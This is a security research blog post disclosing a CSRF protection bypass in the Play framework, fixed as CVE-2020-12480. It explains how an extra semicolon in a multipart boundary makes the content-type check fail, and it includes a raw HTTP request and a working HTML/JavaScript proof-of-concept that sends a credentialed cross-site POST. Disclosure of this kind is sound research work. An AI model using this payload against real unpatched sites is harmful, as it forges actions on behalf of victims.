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Content

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This blog post illustrates a vulnerability affecting the [Play framework](#) that we discovered during a client engagement. This issue allows a complete [Cross-Site Request Forgery \(CSRF\)](#) protection bypass under specific configurations.

By their own words, the **Play Framework** is a *high velocity web framework for java and scala*. It is built on Akka which is a *toolkit for building highly concurrent, distributed, and resilient message-driven applications for Java and Scala*.

Play is a widely used framework and is deployed on web platforms for both large and small organizations, such as *Verizon, Walmart, The Guardian, LinkedIn, Samsung* and many others.

Old school anti-CSRF mechanism

In older versions of the framework, CSRF protection were provided by an insecure baseline mechanism - even when CSRF tokens were not present in the HTTP requests.

This mechanism was based on the basic differences between **Simple Requests** and **Preflighted Requests**. Let's explore the details of that.

A **Simple Request** has a strict ruleset. Whenever these rules are followed, the user agent (e.g. a browser) won't issue an `OPTIONS` request even if this is through `XMLHttpRequest`. All

rules and details can be seen in this [Mozilla's Developer Page](#), although we are primarily interested in the `Content-Type` ruleset.

The `Content-Type` header for simple requests can contain one of three values:

- `application/x-www-form-urlencoded`
- `multipart/form-data`
- `text/plain`

If you specify a different `Content-Type`, such as `application/json`, then the browser will send a OPTIONS request to verify that the web server allows such a request.

Now that we understand the differences between preflighted and simple requests, we can continue onwards to understand how Play used to protect against CSRF attacks.

In older versions of the framework (until version 2.5, included), a black-list approach on receiving `Content-Type` headers was used as a CSRF prevention mechanism.

In the [2.8.x migration guide](#), we can see how users could restore Play's old default behavior if required by legacy systems or other dependencies:

application.conf

```
play.filters.csrf {
  header {
    bypassHeaders {
      X-Requested-With = "*"
      Csrf-Token = "nocheck"
    }
    protectHeaders = null
  }
  bypassCorsTrustedOrigins = false
  method {
    whitelist = []
    blacklist = ["POST"]
  }
  contentType.blackList = ["application/x-www-form-urlencoded", "multipart/form-data",
"text/plain"]
}
```

In the snippet above we can see the core of the old protection. The `contentType.blackList` setting contains three values, which are identical to the content type of "simple requests". This has been considered as a valid (although not ideal) protection since the following scenarios are prevented:

- *attacker.com* embeds a `<form>` element which posts to *victim.com*
- Form allows *form-urlencoded*, *multipart* or *plain*, which are all blocked by the mechanism

- *attacker.com* uses XHR to `POST` to *victim.com* with `application/json`
- Since `application/json` is not a “simple request”, an `OPTIONS` will be sent and (assuming a proper configuration) CORS will block the request
- *victim.com* uses XHR to `POST` to *victim.com* with `application/json`
- This works as it should, since the request is not cross-site but within the same domain

Hence, you now have CSRF protection. Or do you?

Looking for a bypass

Armed with this knowledge, the first thing that comes to mind is that we need to make the browser issue a request that does not trigger a preflight and that does not match any values in the `contentType.blackList` setting.

The first thing we did was map out requests that we could modify without sending an `OPTIONS` preflight. This came down to a single request: `Content-Type: multipart/form-data`

This appeared immediately interesting thanks to the `boundary` value: `Content-Type: multipart/form-data; boundary=something`

The description can be found [here](#):

For multipart entities the boundary directive is required, which consists of **1** to **70** characters **from** a set of characters known to be very robust through email gateways, and not ending with white space. It is used to encapsulate the boundaries of the multiple parts of the message. Often, the header boundary is prepended with two dashes and the **final** boundary has two dashes appended at the end.

So, we have a field that can actually be modified with plenty of different characters and it is all attacker-controlled.

Now we need to dig deep into the parsing of these headers. In order to do that, we need to take a look at **Akka HTTP** which is what the Play framework is based on.

Looking at **HttpHeaderParser.scala**, we can see that these headers are always parsed:

```
private val alwaysParsedHeaders = Set[String](
  "connection",
  "content-encoding",
  "content-length",
  "content-type",
  "expect",
  "host",
  "sec-websocket-key",
  "sec-websocket-protocol",
  "sec-websocket-version",
  "transfer-encoding",
  "upgrade"
)
```

And the parsing rules can be seen in **HeaderParser.scala** which follows [RFC 7230 Hypertext Transfer Protocol \(HTTP/1.1\): Message Syntax and Routing, June 2014](#).

```
def `header-field-value`: Rule1[String] = rule {
  FWS ~ clearSB() ~ `field-value` ~ FWS ~ EOI ~ push(sb.toString)
}
def `field-value` = {
  var fwsStart = cursor rule {
    zeroOrMore(`field-value-chunk`).separatedBy { // zeroOrMore because we need to also
      accept empty values
    }
    run { fwsStart = cursor } ~ FWS ~ &(`field-value-char`) ~ run { if (cursor > fwsStart)
      sb.append(' ') }
  } }
def `field-value-chunk` = rule { oneOrMore(`field-value-char` ~ appendSB()) } def `field-
value-char` = rule { VCHAR | `obs-text` }
def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs-fold`) } def `obs-fold` = rule { CRLF
  ~ oneOrMore(WSP) }
```

If these parsing rules are not obeyed, the value will be set to `None`. Perfect! That is exactly what we need for bypassing the CSRF protection - a “simple request” that will then be set to `None` thus bypassing the blacklist.

How do we actually forge a request that is allowed by the browser, but it is considered invalid by the Akka HTTP parsing code?

We decided to let fuzzing answer that, and quickly discovered that the following transformation worked: `Content-Type: multipart/form-data; boundary=some;randomboundaryvalue`

An extra semicolon inside the boundary value would do the trick and mark the request as illegal:

```
POST /count HTTP/1.1
Host: play.local:9000
...
Content-Type: multipart/form-data;boundary=-----;-----139501139415121
Content-Length: 0
```

Response

```
Response:
HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8 Content-Length: 1
5
```

This is also confirmed by looking at the logs of the server in development mode:

```
a.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input
'EOI', expected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=-----;-----139501139415121
```

And by instrumenting the Play framework code to print the value of the `Content-Type`:

```
Content-Type: None
```

Finally, we built the following proof-of-concept and notified our client (along with the Play framework maintainers):

```

<html>
  <body>
    <h1>Play Framework CSRF bypass</h1>
    <button type="button" onclick="poc()">PWN</button> <p id="demo"></p>
    <script>
      function poc() {
        var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
          if (this.readyState == 4 && this.status == 200) {
            document.getElementById("demo").innerHTML = this.responseText;
          }
        };
        xhttp.open("POST", "http://play.local:9000/count", true);
        xhttp.setRequestHeader(
          "Content-type",
          "multipart/form-data; boundary=-----;-----"
- 139501139415121"
        );
        xhttp.withCredentials = true;
        xhttp.send("");
      }
    </script>
  </body>
</html>

```

Credits & Disclosure

This vulnerability was discovered by [Kevin Joensen](#) and reported to the Play framework via security@playframework.com on *April 24, 2020*. This issue was fixed on Play 2.8.2 and 2.7.5. [CVE-2020-12480](#) and all details have been published by the vendor on *August 10, 2020*. Thanks to James Roper of Lightbend for the assistance.

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